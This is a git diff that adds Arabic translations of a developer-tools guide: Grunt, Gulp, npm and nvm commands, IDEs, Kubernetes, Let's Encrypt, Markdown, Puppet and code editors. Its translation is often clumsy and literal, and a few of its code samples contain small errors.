+6.  تشغيل جرانت مع `grunt` .
+
+### مثال
+
+في ما يلي مثال على `package.json` و `Gruntfile.js` للقيام بالمهام التالية:
+
+1.  تصغير ملفات HTML.
+2.  إضافة بادئات بائع وتقليص ملف CSS.
+3.  سلسل وتقصير ملفات جافا سكريبت.
+4.  تصغير الصور.
+
+#### package.json
+
+ `{ 
+  "name": "project-name", 
+  "version": "0.1.0", 
+  "devDependencies": { 
+    "grunt": "latest", 
+    "grunt-contrib-htmlmin": "latest", 
+    "grunt-postcss": "latest", 
+    "autoprefixer": "latest", 
+    "cssnano": "latest", 
+    "grunt-contrib-uglify": "latest", 
+    "grunt-contrib-imagemin": "latest", 
+  } 
+ } 
+` 
+
+#### Gruntfile.js
+
+ `module.exports = function(grunt) { 
+ 
+  grunt.initConfig({ 
+    htmlmin: { 
+      options: { 
+        removeComments: true, 
+        collapseWhitespace: true 
+      }, 
+      html: { 
+        files: [{ 
+          expand: true, 
+          cwd: "src/", 
+          src: "**/*.html", 
+          dest: "dest/" 
+        }] 
+      } 
+    }, 
+ 
+    postcss: { 
+      options: { 
+        processors: [ 
+          require("autoprefixer")(), 
+          require("cssnano")() 
+        ] 
+      }, 
+      css: { 
+        src: "dest/css/*.css" 
+      } 
+    }, 
+ 
+     uglify: { 
+      js: { 
+        files: { 
+          "dest/js/main.js": "src/js/*.js" 
+        } 
+      }, 
+    }, 
+ 
+    imagemin: { 
+      img: { 
+        options: { 
+          optimizationLevel: 5, 
+          quality: 75 
+        }, 
+        files: [{ 
+          expand: true, 
+          cwd: "src/img/", 
+          src: "**", 
+          dest: "dest/img/" 
+        }] 
+      } 
+    }, 
+  }); 
+ 
+  grunt.loadNpmTasks("grunt-contrib-htmlmin"); 
+  grunt.loadNpmTasks("grunt-postcss"); 
+  grunt.loadNpmTasks("grunt-contrib-uglify"); 
+  grunt.loadNpmTasks("grunt-contrib-imagemin"); 
+ 
+  grunt.registerTask("default", ["htmlmin", "postcss", "uglify, imagemin"]); 
+ }; 
+` 
+
+#### معلومات اكثر:
+
+وثائق الناخر: [الابتداء](https://gruntjs.com/getting-started)
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/gulp/index.md b/client/src/guide/arabic/developer-tools/gulp/index.md
new file mode 100644
index 0000000000..8e27346e2d
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/gulp/index.md
@@ -0,0 +1,63 @@
+---
+title: Gulp
+localeTitle: بلع
+---
+## بلع
+
+`Gulp` هو برنامج تشغيل مهام جافا سكريبت المستخدم لأتمتة المهام المختلفة التي تعد أجزاء من سير عمل تطوير جافا سكريبت. يتم استخدامه لتشغيل المهام التي قمت ببرمجتها ، وحالة الاستخدام الرئيسية الخاصة به هي تنفيذ الإجراءات المتكررة التي يتم استخدامها كمسار لعملية الإنشاء لمشروع JavaScript.
+
+### لماذا غالب هو مفيد
+
+غالبًا ما تتضمن هذه المهام أشياء مثل `code minification` (إزالة مسافة بيضاء من ملفات html وتقصر أسماء المتغيرات لجعل حجم الملف أصغر حجمًا) و `css bundling` (تحويل ملفات CSS متعددة في واحد للتوزيع مع تطبيقك) ، والتي تكون مطلوبة لتحسين الكود للتحميل بسرعة في متصفح الويب.
+
+السبب في أن `Gulp` مفيد في الحالات المذكورة أعلاه هو أن عملية التعزيز والتجميع يجب أن تحدث مع كل تغيير. لن يكون من المفيد القيام بذلك يدويًا مع كل تغيير ، حيث تكون أداة مثل `Gulp` ، التي تقوم بذلك تلقائيًا بمثابة أداة رائعة لمطوري جافا سكريبت.
+
+بالإضافة إلى الأمثلة البسيطة نسبيًا ، تحتوي `Gulp` على المئات من المكونات الإضافية لتمكينها من أتمتة المهام الأكثر تعقيدًا. يمكن أن تتضمن هذه المهام أشياء مثل:
+
+*   تعمل اختبارات وحدة التشغيل لاختبار شفرتك بشكل صحيح.
+*   قم بتحديث متصفح الويب الخاص بك في أي وقت يتم فيه حفظ الملف ، مما يسمح بمشاهدة التغييرات الخاصة بك على الفور.
+*   تحويل `SASS` / `LESS` إلى `CSS` ، بحيث يمكن استخدامه في المستعرض.
+*   تحسين الصور لإنشاء إصدارات متوافقة مع `web friendly` بأحجام ملفات أقل للسرعة.
+
+### كيفية استخدام Gulp
+
+لبدء استخدام `Gulp` ، فإن الخطوة الأولى هي تثبيته باستخدام `npm` . بعد تثبيته ، يجب إنشاء ملف `gulpfile.js` . ملف `gulpfile` هذا هو ملف يحتوي على جميع مهام `Gulp` التي يجب تشغيلها كجزء من العملية التلقائية. تتم كتابة المهام في JavaScript. في ما يلي مثال بسيط جدًا `gulpfile` ، والذي يأخذ أي ملفات `CSS` من مجلد `client/templates` ، ويقللها ويضع الملف المُصغر في المجلد `build/css` .
+
+ `var gulp = require('gulp'); 
+ var minifyCSS = require('gulp-csso'); 
+ 
+ gulp.task('css', function(){ 
+  return gulp.src('client/templates/*.css') 
+    .pipe(minifyCSS()) 
+    .pipe(gulp.dest('build/css')) 
+ }); 
+` 
+
+لتشغيل مهمة gulp هذه ، كل ما عليك فعله هو كتابة `gulp css` في مطراف في جذر مشروعك.
+
+لمشاهدة ملفات CSS لأية تغييرات وتشغيل مهمة "css" بعد حفظها.
+
+ `gulp.watch('css') 
+  .on('change', ['css']); 
+` 
+
+### تبعيات المهام
+
+افتراضيا سيتم تشغيل جولبول جميع المهام المحددة في نفس الوقت وانتظر شيئا. لتشغيل مهمة متعددة بالترتيب الصحيح ، يمكنك إضافة مهمة كتوابع إلى مهمة أخرى.
+
+ `gulp.task('two', ['one'], function() { 
+    // task 'one' is done now 
+ }); 
+` 
+
+مع رمز المقتطف أعلاه، مهمة `two` سيتم تشغيل فقط بعد مهمة `one` اكتمال.
+
+يمكن أن يكون لـ Gulpfiles مهام متعددة لكل ملف ، كما يمكن تقسيم المهام إلى ملفات متعددة للمؤسسة. هذا ، إلى جانب 100 من الإضافات المتاحة جعله إطارًا مرنًا ومفيدًا جدًا لمطوري جافا سكريبت.
+
+#### معلومات اكثر:
+
+[موقع غالب](https://gulpjs.com/)
+
+[Gulp مستودع جيثب](https://github.com/gulpjs/gulp)
+
+[دليل begginers غولب](https://css-tricks.com/gulp-for-beginners/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/ide-integrated-development-environments/index.md b/client/src/guide/arabic/developer-tools/ide-integrated-development-environments/index.md
new file mode 100644
index 0000000000..a8fdfe6f4f
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/ide-integrated-development-environments/index.md
@@ -0,0 +1,23 @@
+---
+title: Integrated Development Environments (IDEs)
+localeTitle: بيئات التطوير المتكاملة (IDEs)
+---
+## بيئات التطوير المتكاملة (IDEs)
+
+بيئة التطوير المتكاملة (IDE) هي عبارة عن برنامج يدمج الأدوات الأساسية التي يحتاجها المطورون لكتابة البرامج واختبارها في تطبيق واحد.
+
+تقدم IDEs واجهة مستخدم رسومية مركزية (GUI) تتضمن ما يلي: _محرر التعليمات برمجية أو مترجم أو مترجم ، مصحح أخطاء ، وأدوات أتمتة الإنشاء._
+
+من أمثلة IDEs:
+
+*   [نتبيانس](https://netbeans.org/)
+*   [كسوف](https://www.eclipse.org/)
+*   [IntelliJ فكرة](https://www.jetbrains.com/idea/)
+*   [استوديو مرئي](https://www.visualstudio.com/vs/)
+*   [كسكودي](https://developer.apple.com/xcode/)
+*   [Android Studio](https://developer.android.com/studio/index.html)
+*   [PyCharm](https://www.jetbrains.com/pycharm/)
+
+#### معلومات اكثر
+
+[AppSec Knowledge Base](https://www.veracode.com/security/integrated-development-environments) [Eclipse.org](https://www.eclipse.org/home/) - مجتمع مفتوح المصدر من الأدوات والمشروعات والأفرقة العاملة التعاونية [أعلى IDEs: 51 بيئات التطوير القوية من أجل التطوير المبسط بواسطة Stackify](https://stackify.com/top-integrated-developer-environments-ides/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/index.md b/client/src/guide/arabic/developer-tools/index.md
new file mode 100644
index 0000000000..2ec088460c
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/index.md
@@ -0,0 +1,14 @@
+---
+title: Developer Tools
+localeTitle: ادوات المطورين
+---
+## ادوات المطورين
+
+في هذا القسم ، سنشرح مجموعة متنوعة من الأدوات التي يستخدمها المطورون.
+
+بعض الأمثلة على هذه الأدوات:
+
+*   أنظمة التحكم في الإصدارات
+*   أدوات DevOps
+*   بناء الأدوات
+*   مديري الحزم
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/kubernetes/index.md b/client/src/guide/arabic/developer-tools/kubernetes/index.md
new file mode 100644
index 0000000000..00cab66ee1
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/kubernetes/index.md
@@ -0,0 +1,17 @@
+---
+  title: kubernetes
+localeTitle: kubernetes
+---
+# Kubernetes
+
+"Kubernetes هو نظام مفتوح المصدر لأتمتة عمليات نشر ، وتوسيع نطاق ، وإدارة التطبيقات المعبأة في حاويات. إنه عبارة عن حاويات للمجموعات التي تشكل تطبيقًا في وحدات منطقية لسهولة الإدارة والاكتشاف. 1 "
+
+### الروابط:
+
+*   [Kubernetes على جيثب](https://github.com/kubernetes/kubernetes)
+*   [موقع Kubernetes](https://kubernetes.io)
+*   [Kubernetes البرنامج التعليمي](https://kubernetes.io/docs/tutorials/kubernetes-basics/)
+
+### مصادر:
+
+*   The Kubernetes Authors، 2017، kubernetes.io. تم الوصول إليها في 27 أكتوبر 2017.
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/lets-encrypt/index.md b/client/src/guide/arabic/developer-tools/lets-encrypt/index.md
new file mode 100644
index 0000000000..76a55130d8
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/lets-encrypt/index.md
@@ -0,0 +1,17 @@
+---
+title: Let's Encrypt
+localeTitle: دعونا تشفير
+---
+## دعونا تشفير
+
+دعونا تشفير هو حر في استخدام سلطة الشهادة. معظم المتصفحات تدعم وتثق بتشفير شهادات تشفير. تعد شهادة المرجع المصدق (CA) مطلوبة لعرض موقعك عبر HTTPS والحصول على متصفحات تثق في الموقع.
+
+أسهل طريقة للبدء مع Let's Encrypt هي استخدام [certbot](https://certbot.eff.org/) ، عميل Let Encrypt [المعروف](https://certbot.eff.org/) الذي سيساعدك في نشر شهادة SSL الخاصة بك والحفاظ عليها بسهولة. يتم تعيين صلاحية شهادة تشفير LIFE بعد 90 يومًا ويمكن تجديدها متى. قد تبدو 90 يومًا مثل وقت قصير ، ولكن يمكن للعملاء مثل certbot مساعدتك على أتمتة تجديد الشهادة.
+
+هناك عدد كبير من [عملاء](https://letsencrypt.org/docs/client-options/) Let Encrypt بغض النظر عن certbot بحيث يمكنك توقع أن يكون Encrypt Let's سهل التنفيذ على الخادم الخاص بك.
+
+إذا كنت تستضيف خادم VPS / مخصص ، فلا داعي للقلق بشأن دعم Let Encrypt. ومع ذلك، إذا كنت على خطة استضافة مشتركة المضيف الخاص بك وسوف يكون لدينا تشفير دعونا [على وجه التحديد](https://community.letsencrypt.org/t/web-hosting-who-support-lets-encrypt/6920) قدمت صراحة.
+
+#### معلومات اكثر:
+
+https://letsencrypt.org/ Let's Encrypt عبارة عن مرجع مصدق حر وآلي ومفتوح. https://community.letsencrypt.org/t/web-hosting-who-support-lets-encrypt/6920 قائمة بالمضيف المشترك الذي يدعم Let Encrypt. https://letsencrypt.org/docs/client-options/ قائمة من دعونا تشفير العملاء.
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/markdown/index.md b/client/src/guide/arabic/developer-tools/markdown/index.md
new file mode 100644
index 0000000000..65443ddeb7
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/markdown/index.md
@@ -0,0 +1,15 @@
+---
+title: Markdown
+localeTitle: تخفيض السعر
+---
+## تخفيض السعر
+
+Markdown هي لغة ترميز خفيفة الوزن مع صيغة تنسيق النص العادي. وهي مصممة بحيث يمكن تحويلها إلى HTML والعديد من الأشكال الأخرى باستخدام أداة بنفس الاسم. وكثيرا ما يستخدم Markdown لتهيئة ملفات README ، لكتابة الرسائل في منتديات المناقشة عبر الإنترنت ، ولإنشاء نص منسق باستخدام محرر نص عادي. يمكنك أيضًا كتابة Markdown في محرر النص (مثل Sublime Text أو Visual Studio Code). يكتسب Markdown في الرؤية والشعبية من خلال ظهور محررات نصية مبسطة "خالية من الانحرافات".
+
+## معلومات اكثر:
+
+إن cheatsheet هي واحدة من أسهل طريقة لتعلم Markdown. تحقق من [هذا cheatsheet شعبية](https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet) .
+
+يمكنك أيضًا الاطلاع على هذا البرنامج التعليمي عبر الإنترنت: [Markdown Tutorial](https://www.markdowntutorial.com)
+
+أحب التعلم عن طريق الفيديو؟ تحقق من [هذا الفيديو يوتيوب](https://www.youtube.com/watch?v=HndN6P9ke6U)
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/npm-cheatsheet/index.md b/client/src/guide/arabic/developer-tools/npm-cheatsheet/index.md
new file mode 100644
index 0000000000..bd5005b4e8
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/npm-cheatsheet/index.md
@@ -0,0 +1,93 @@
+---
+title: npm Cheat Sheet
+localeTitle: npm ورقة الغش
+---
+## npm ورقة الغش
+
+قائمة بالأوامر الطرفية والأعلام للمساعدة في استخدام `npm`
+
+## تثبيت التبعية `package.json`
+
+ `npm install 
+` 
+
+**اختزال**
+
+ `# install 
+ npm i <package> 
+ # uninstall 
+ npm un <package> 
+ # update 
+ npm up <package> 
+` 
+
+## قائمة الحزم المثبتة عالميا.
+
+ `npm list -g --depth=0 
+` 
+
+## إلغاء حزمة عالمية
+
+ `npm -g uninstall <name> 
+` 
+
+## ترقية NPM على ويندوز
+
+بعد محاولة عدة مرات لترقية npm على Windows وجدت هذا في حين بدس في مجلدات npm.
+
+ `npm-windows-upgrade 
+` 
+
+## تحديث الحزم العالمية
+
+لمعرفة الحزم التي تحتاج إلى تحديث ، استخدم:
+
+ `npm outdated -g --depth=0 
+` 
+
+لتحديث الحزم العالمية بشكل فردي ، يمكنك استخدام:
+
+ `npm update -g <package> <package> <package> 
+` 
+
+## قائمة البرامج النصية المتاحة لتشغيل
+
+ `npm run 
+` 
+
+## تحديث npm
+
+ `npm install -g npm@latest 
+ # using windows? Then use 
+ npm-windows-upgrade 
+` 
+
+## الأعلام
+
+`-S` هو نفسه `--save` لا حاجة في npm 5+ `-D` هو نفسه `--save-dev`
+
+## النسخة المثبتة
+
+ `npm list # for local packages 
+` 
+
+## عقدة مدير الإصدار `nvm`
+
+لنفترض أنك تريد تثبيت Node v6.9.1 الذي تكتبه على الجهاز:
+
+ `nvm install 6 
+` 
+
+إذا كان لديك إصدارات متعددة من Node.js مثبتة على مساحة العمل الخاصة بك ، يمكنك التبديل إلى إصدار محدد بالكتابة:
+
+ `nvm use 4.8.4 
+` 
+
+### جعل نسخة عقدة الافتراضي.
+
+لتعيين إصدار افتراضي من العقدة لمساحة العمل الخاصة بك ، فقط اكتب:
+
+ `nvm alias default 6 
+` 
+
+حيث كان الإصدار 6 هو الإصدار الذي تريد استخدامه كإعداد افتراضي.
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/npm/index.md b/client/src/guide/arabic/developer-tools/npm/index.md
new file mode 100644
index 0000000000..af4b244692
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/npm/index.md
@@ -0,0 +1,46 @@
+---
+title: npm
+localeTitle: ASL
+---
+## الآلية الوقائية الوطنية
+
+npm هو مدير حزم ويستخدم لتركيب وإدارة التبعيات.
+
+تعد npm مركزًا أساسيًا لمجتمع جافا سكريبت النابض بالحياة (وبالتحديد Node.js) ، وذلك عن طريق جعل الوحدة النمطية وإعادة استخدام الكود عبر المشاريع بسيطة للغاية. في الوقت الحالي ، تتوفر الماكينة npm لما يزيد عن 500000 حزمة متوفرة.
+
+npm مفيد ليس فقط للمشروعات من جانب الخادم. تتوفر أيضًا مكتبات الواجهة الأمامية الأكثر شعبية مثل Bootstrap و Font Awesome.
+
+**ملحوظة:**
+
+*   يأتي npm خارج الصندوق مع Node.js لذا من الضروري تثبيت Node.js أولاً
+*   لا يحتوي npm على شكل كامل بسبب استخدامه خارج مشاريع Node.js المحددة. كان يسمى سابقا مدير عقدة عقدة.
+
+### npm الاستخدام
+
+يستخدم npm عادة من سطر الأوامر. يمكن القول أن الأوامر الواردة أدناه هي الأكثر أهمية للبدء:
+
+ `npm init 
+` 
+
+تشغيل هذا الأمر في الدليل الجذر لمشروعك يهيئه للاستخدام مع npm عن طريق إنشاء ملف `package.json` . ستطالب ل اسم المشروع والوصف واسم المؤلف وأكثر من ذلك. ثم يتم استخدام هذه المعلومات لملء ملف `package.json` ، والتي سوف تعقد أيضا معلومات حول تبعيات المشروع ومتطلباته. يمكنك تغيير هذه المعلومات يدويًا في وقت لاحق.
+
+ `npm install [name-of-package] 
+` 
+
+يقوم هذا بتثبيت حزمة وكل تبعياتها تلقائيًا وحفظها في ملف `package.json` . إذا كنت تقوم بتثبيت تبعية تطوير ، قد ترغب في استخدام `--save-dev` أو `-D` التبديل. سيحفظ npm الحزمة كاعتمادية تطوير.
+
+يتم تثبيت الحزم محليًا في الدليل `node_modules` في الدليل الجذر لمشروعك. في بعض الأحيان قد ترغب في الحصول على حزمة متاحة عبر مشاريع مختلفة. يتم ذلك باستخدام مفتاح `--global` أو `-g` . هذا مفيد في كثير من الأحيان لأدوات التطوير والأدوات المساعدة لسطر الأوامر.
+
+ `npm install 
+` 
+
+تشغيل تثبيت npm في الدليل الجذر للمشروع دون اسم حزمة معينة ، تثبيت كافة التبعيات المطلوبة لهذا المشروع. هؤلاء يكونون محسوبًا وفقًا لملف `package.json` للمشروع. هذا يدل على قوة npm ، حيث يمكن لأمر واحد جلب عشرات أو مئات من تبعية تلقائيا بالنسبة لك ، ومفيد عند `git clone` مستودع ، على سبيل المثال.
+
+#### معلومات اكثر:
+
+*   Node.js website: [nodejs](https://nodejs.org)
+*   الموقع الرسمي لـ npm ، يمكنك القراءة عن npm وكذلك البحث عن الحزم المختلفة المتاحة: [npmjs](https://www.npmjs.com)
+*   قراءة المزيد عن npm: [ويكيبيديا](https://en.wikipedia.org/wiki/Npm_(software))
+*   دليل المبتدئين إلى npm: [sitepoint](https://www.sitepoint.com/beginners-guide-node-package-manager/)
+*   إذا كنت تريد سلسلة فيديو شاملة ، فتحقق من ذلك: [youtube](https://youtu.be/6fj0cpmMiVg)
+*   وإليك السلسلة الرسمية من npm: [youtube](https://youtu.be/pa4dc480Apo)
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/puppet/index.md b/client/src/guide/arabic/developer-tools/puppet/index.md
new file mode 100644
index 0000000000..c916a06ed8
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/puppet/index.md
@@ -0,0 +1,53 @@
+---
+title: Puppet
+localeTitle: دمية
+---
+## دمية
+
+Puppet هي أداة لإدارة التكوين تسمح لك بأتمتة تكوين وإدارة البنية التحتية الخاصة بك. يساعدك هذا على توفير الوقت عن طريق أتمتة المهام المتكررة وضمان المحافظة على أنظمتك في حالة مطلوبة.
+
+يأتي الدمى في صنفين ، Puppet Enterprise و Puppet مفتوحة المصدر. تتضمن الأنظمة الأساسية المدعومة معظم توزيعات Linux ومختلف الأنظمة الأساسية لـ UNIX و Windows.
+
+تم تطوير [دمية](https://puppet.com/company) بواسطة [Puppet Labs](https://puppet.com/company) .
+
+### ابدء
+
+يمكنك تكوين البنية التحتية الخاصة بك إما في بنية العميل / الخادم أو في بنية مستقلة. يستخدم الأول `agent` العرائس والتطبيقات `master` للعرائس ، بينما يستخدم الأخير `apply` الدمى.
+
+#### وكيل / ماجستير الهندسة المعمارية
+
+في هذه البنية ، تقوم عقدة واحدة أو أكثر بتشغيل التطبيق الرئيسي للعرائس. تتحكم الخوادم الرئيسية في معلومات التكوين للبنية الأساسية الكاملة.
+
+تدير العقد المدارة تطبيق وكيل العرائس كخدمة خلفية ، وتطلب دوريًا `catalog` التكوين الخاص بها من الرئيسي (الألقاب) العرائس.
+
+يجمع الدمى الرئيسي ويعيد كل كتالوج للعُقد ، باستخدام مصادر متعددة للمعلومات. هذه المعلومات التي تم جمعها هي تعرف `facts` .
+
+بمجرد أن يتلقى عميل Puppet كتالوج ، فإنه يتحقق من كل مورد موصوف فيه. إذا لم يكن المورد في الحالة المطلوبة ، يقوم العامل بتصحيحه.
+
+#### العمارة المستقلة
+
+في هذه البنية ، تحتوي كل عقدة مُدارة على نسخة التكوين الكامل.
+
+يقوم كل عميل Puppet بتشغيل تطبيق التقديم كمهمة مجدولة أو مهمة cron.
+
+كما هو الحال في العمارة / العمارة الرئيسية ، تقوم الدمى بتجميع الكتالوج والتحقق من كل مورد من الموارد الموصوفة. إذا لم يكن المورد في الحالة المطلوبة ، فسيقوم Puppet بالتصحيح.
+
+مثل التطبيق الرئيسي للعرائس ، تقوم Puppet بتطبيق الوصول إلى العديد من مصادر بيانات التكوين ، والتي تستخدمها في تجميع كتالوج للعقدة التي تديرها.
+
+#### فهرس
+
+النشرة المصورة هي وثيقة تحدد تكوين الجهاز. وهي تدرج جميع الموارد التي تحتاج إلى إدارتها وحالتها المرجوة وأي تبعيات بينها.
+
+تقوم العرائس بتكوين نظام من خلال تجميع ملف قطة أولاً ثم تطبيقه.
+
+#### حقائق
+
+تجمع الدمى حقائق حول جميع العقد باستخدام أداة تسمى `facter` . يجمع العامل المعلومات اللازمة لتكوين النظام. على سبيل المثال ، أسماء المضيفين وعناوين IP وأسماء أنظمة التشغيل وغيرها. ومع ذلك ، من الممكن أيضًا إضافة حقائق إضافية.
+
+لمزيد من المعلومات ، راجع وثائق بنية العرائس.
+
+#### معلومات اكثر:
+
+*   [الموقع](https://puppet.com) الرسمي للعرائس
+*   نظرة عامة على [بنية](https://puppet.com/docs/puppet/5.3/architecture.html) العرائس
+*   كيفية استخدام الدمى في إدارة الخوادم الخاصة بك. سلسلة من الدروس من [DigitalOcean](https://www.digitalocean.com/community/tutorial_series/how-to-use-puppet-to-manage-your-servers-2)
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/source-code-editors/adding-snippets-to-your-sublime-text-installation/index.md b/client/src/guide/arabic/developer-tools/source-code-editors/adding-snippets-to-your-sublime-text-installation/index.md
new file mode 100644
index 0000000000..09082c8760
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/source-code-editors/adding-snippets-to-your-sublime-text-installation/index.md
@@ -0,0 +1,36 @@
+---
+title: Adding Snippets to Your Sublime Text Installation
+localeTitle: إضافة قصاصات إلى التثبيت نص سامية
+---
+إذا كنت مستخدمًا لنصوص سامية (آمل أن تكون كذلك ، فإن ذلك يدقع في المؤخرة. يمكنك الحصول عليه [هنا](https://www.sublimetext.com/) ) ، فقد تكون قد لاحظت بالفعل بعض إمكانيات إكمال علامة التبويب. على سبيل المثال ، عندما تقوم بفتح علامة html مثل `<p>` ، فإنه يقوم تلقائيًا بإغلاق العلامة بمجرد كتابة `/` . يمكنك الحصول على وظائف مشابهة للقطع البرمجية التي تنتهي بها إعادة الكتابة مرارا وتكرارا ، وهذا سهل للغاية.
+
+إليك مثال ، يتم تنشيطه بعد كتابة `div` ثم علامة التبويب:
+
+![نص بديل](//discourse-user-assets.s3.amazonaws.com/original/2X/5/59a4d233d2dcb17b76a9c36ca30c5bb07a35d00b.png)
+
+## الخطوة 1.
+
+انقر على `Tools > New Snippet...` في شريط التنقل. سيؤدي هذا إلى فتح ملف skeletton skypeton سيظهر على النحو التالي:
+
+![نص بديل](//discourse-user-assets.s3.amazonaws.com/original/2X/a/a56106fbf754f7e641342d1ebdbc3f5bed582263.png)
+
+## الخطوة 2.
+
+ستقوم بإضافة المقتطف عن طريق استبدال النص `Hello, ${1:this} is a ${2:snippet}.`
+
+في حالة مقتطف `div` ، يكون الأمر بسيطًا مثل وضع النص التالي في منطقة القصاصة:
+
+ `<!-- $1 --> 
+ <div class= "$1"> 
+ 
+ </div> 
+ <!-- $1 --> 
+` 
+
+يشير المشغل `$` إلى المتغيرات التي سيتم كتابتها بمجرد كتابة `div` ثم علامة التبويب. في الواقع يمكن أن يكون لديك أي عدد منهم!
+
+## الخطوه 3.
+
+حفظ الملف. يمكنك تقديم أي اسم تريده ، ولكن **يجب أن** يكون `.sublime-snippet` . تذكر ، يمكنك فقط الحصول على مقتطف واحد لكل ملف! أحب أن أعطيهم أسماء وصفية مثل `html-div.sublime-snippet` .
+
+وهناك لديك! يمكنك الحصول على الإبداع كما تريد.
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/source-code-editors/index.md b/client/src/guide/arabic/developer-tools/source-code-editors/index.md
new file mode 100644
index 0000000000..a8e138b235
--- /dev/null
+++ b/client/src/guide/arabic/developer-tools/source-code-editors/index.md
@@ -0,0 +1,68 @@
+---
+title: Source Code Editors
+localeTitle: محرر كود المصدر
+---
+## برامج تحرير كود المصدر
+
+برامج تحرير التعليمات البرمجية المصدر هي البرامج التي تسمح بإنشاء الكود و  
+التحرير. يمكن استخدام أي محرر نص لكتابة التعليمات البرمجية. لكن كود مخصص  
+يقدم المحررين العديد من الميزات المفيدة ، بما في ذلك: إكمال النص ،  
+تلوين العلامات ، وعلامات التبويب / الألواح للتحرير جنبًا إلى جنب. هذه الميزات يمكن  
+تكون مفيدة حتى للمستخدمين الجدد الذين لا يعرفون طريقهم حول كل من  
+خيارات متقدمة.
+
+### اختيار المحرر
+
+يوجد العديد من المحررين متوفرون للتنزيل أو الاستخدام  
+على الانترنت ، سواء المدفوعة والمجانية. أنها توفر العديد من نفس الميزات الأساسية ، ولكن  
+كل منها subtlties الخاصة بهم. مزيد من البحث قد يساعد في العثور على واحد هذا  
+مناسب لك. المحررين التالية كلها عبر منصة و  
+مجانا لاستخدام أو تقييم.
+
+### نص سامي
+
+![أيقونة نصية سامية](https://logo.clearbit.com/sublimetext.com)
+
+Sublime Text محرر شائع جدًا [منذ عام 2008](https://www.sublimetext.com/blog/articles/one-point-oh) . هناك العديد من الخيارات [والإضافات](https://packagecontrol.io/) المتاحة ، وتتوفر الكثير من [المساعدة](http://stackoverflow.com/search?q=sublime+text) عبر الإنترنت للمساعدة في [إعدادها](http://www.websightdesigns.com/wiki/Setting_up_Sublime_Text_3) . (الترخيص لاستمرار تكاليف الاستخدام 70 دولار. ومع ذلك ، Sublime Text مجاني لتحميل وتقييم ، مع شاشة المنبثقة شاشة المنبه.)
+
+[sublimetext.com](https://www.sublimetext.com/)
+
+![لقطة شاشة رائعة](//discourse-user-assets.s3.amazonaws.com/original/2X/6/63f774c31a7b1a439bcef9d11e95463b6998310e.png)
+
+### اقواس
+
+![بين قوسين أيقونة](https://logo.clearbit.com/brackets.io)
+
+Brackets هو محرر مفتوح المصدر جديد نسبياً من Adobe. إنه سهل الاستخدام للغاية ، خاصة للأشخاص الذين لا يستخدمون واجهات سطر الأوامر أو إعدادات / أنماط نمط JSON. تكون الإضافات والمظاهر سريعة وسهلة في العثور عليها وتثبيتها من خلال مدير الإضافات.
+
+[brackets.io](http://brackets.io/)
+
+![بين قوسين لقطة](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2f395a58d24ed551ed8440a10ae640777f1143b6.png)
+
+### ذرة
+
+![رمز Atom](https://logo.clearbit.com/atom.io)
+
+Atom هو محرر [مفتوح المصدر تم](https://github.com/atom/atom) تطويره بواسطة [GitHub](https://github.com/) . مثل Sublime Text ، تعتبر Atom شائعة جدًا. إنه قابل للتكوين للغاية ("hackable" ، كما يقولون) لكن الميزات المتقدمة قد تكون ساحقة للمستخدمين الجدد. هناك أيضا الكثير من [الوثائق](http://flight-manual.atom.io/) [المفيدة](http://readwrite.com/2014/05/20/github-atom-5-tips-getting-started-tutorial-corey-johnson/) [متوفرة](http://stackoverflow.com/search?q=atom) على الإنترنت.
+
+[atom.io](https://atom.io/)
+
+![لقطة شاشة](//discourse-user-assets.s3.amazonaws.com/original/2X/8/8016e7c0937e8ce6fcb6104c9aee0026443912f5.png)
+
+### كود الاستوديو المرئي
+
+![رمز رمز الاستوديو المرئي](https://logo.clearbit.com/code.visualstudio.com)
+
+يعتبر Visual Studio Code (المعروف أيضًا باسم vsc أو vscode) محرّرًا شائعًا ومفتوحًا المصدر ، تم تطويره بواسطة [Microsoft](https://www.microsoft.com) وأصبح سريع الاستخدام من قِبل مطوري جميع اللغات. مثل برنامج Atom and Sublime ، يحتوي Visual Studio Code على مجموعة واسعة من [الإضافات](https://marketplace.visualstudio.com/VSCode) [والمظاهر](https://marketplace.visualstudio.com/search?target=VSCode&category=Themes&sortBy=Downloads) المتاحة للمساعدة في تخصيص وتجربة استخدامك لها ، ولكن VSC قابل للتهيئة للغاية "خارج الصندوق". هناك أيضًا فريق تطوير نشط جدًا خلف VSCode ، مع ميزات جديدة وإصلاحات الأخطاء التي يضيفها فريق Visual Studio Code [كل شهر](https://code.visualstudio.com/updates) .
+
+[code.visualstudio.com](https://code.visualstudio.com/)
+
+وbnsp.
+
+### المفكرة ++
+
+![المفكرة + + رمز](https://upload.wikimedia.org/wikipedia/commons/0/0f/Notepad%2B%2B_Logo.png)
+
+Notepad ++ هو محرر شفرة مجاني ومفتوح المصدر يعمل في بيئة Microsoft Windows. تم تطويره في عام 2003 ، من قبل دان هو. مكتوب في [C ++](www.cplusplus.com) (الاسم يأتي من ذلك). يدعم Notepad ++ التحرير المبوب ، والذي يسمح بالعمل مع عدة ملفات مفتوحة في نافذة واحدة ، ويمكن استخدامه أيضًا كمحرر نص عادي.
+
+[notepad-plus-plus.org](https://notepad-plus-plus.org)
\ No newline at end of file
diff --git a/client/src/guide/arabic/developer-tools/vagrant/index.md b/client/src/guide/arabic/developer-tools/vagrant/index.md
new file mode 100644
index 0000000000..db6c3c353a
--- /dev/null
